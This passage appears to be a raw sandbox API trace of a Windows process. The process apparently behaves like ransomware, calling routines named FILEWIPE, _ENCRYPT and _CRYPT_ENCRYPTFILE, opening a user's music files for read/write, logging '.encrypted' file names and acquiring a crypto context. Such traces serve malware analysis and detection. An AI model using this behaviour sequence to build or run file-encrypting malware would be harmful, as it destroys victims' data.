wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.884] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.889] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.889] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.889] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.889] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.889] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.889] CharLowerBuffW (in: lpsz="byte[97636]", cchLength=0xb | out: lpsz="byte[97636]") returned 0xb [0026.890] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.890] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.890] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.890] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.890] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.890] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.890] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.890] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.890] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.892] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.892] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.892] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.892] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.892] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.892] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.892] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.892] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.892] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.892] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.892] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.892] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.892] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.892] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.893] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.894] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.894] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.894] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.894] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.894] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.894] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.894] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.894] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.894] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6589) returned 1 [0026.894] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.894] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.894] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.894] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x19bd, lpOverlapped=0x0) returned 1 [0026.895] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.895] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x19bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.895] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6589) returned 1 [0026.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\nK2OfiH.encrypted.m4a\r\n", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0026.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\nK2OfiH.encrypted.m4a\r\n", cchWideChar=51, lpMultiByteStr=0xe8f404bcd0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\nK2OfiH.encrypted.m4a\r\n", lpUsedDefaultChar=0x0) returned 51 [0026.895] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40519f0*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40519f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x32, lpOverlapped=0x0) returned 1 [0026.895] CloseHandle (hObject=0x1fc) returned 1 [0026.896] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.896] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.896] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.896] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.896] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.896] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.896] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.897] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.897] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178900, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.898] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a40, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.898] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\ONVMABx84l5Xkpsb6eP.wav", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0026.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\ONVMABx84l5Xkpsb6eP.wav", cchWideChar=51, lpMultiByteStr=0xe8f404bdd0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\ONVMABx84l5Xkpsb6eP.wav", lpUsedDefaultChar=0x0) returned 51 [0026.898] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\ONVMABx84l5Xkpsb6eP.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\onvmabx84l5xkpsb6ep.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=51, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0026.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=51, lpWideCharStr=0xe8f4062330, cchWideChar=51 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\ONVMABx84l5Xkpsb6eP.wav") returned 51 [0026.899] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.899] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.899] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.900] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.900] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.900] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.900] CloseHandle (hObject=0x1fc) returned 1 [0026.900] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.900] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.900] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.900] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.900] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.900] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.900] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.901] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.901] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.901] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.901] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.901] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.902] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.902] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.902] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.902] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0026.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.902] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.902] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.902] PeekMessageW (in: lpMsg=0xe8f3dfe800, 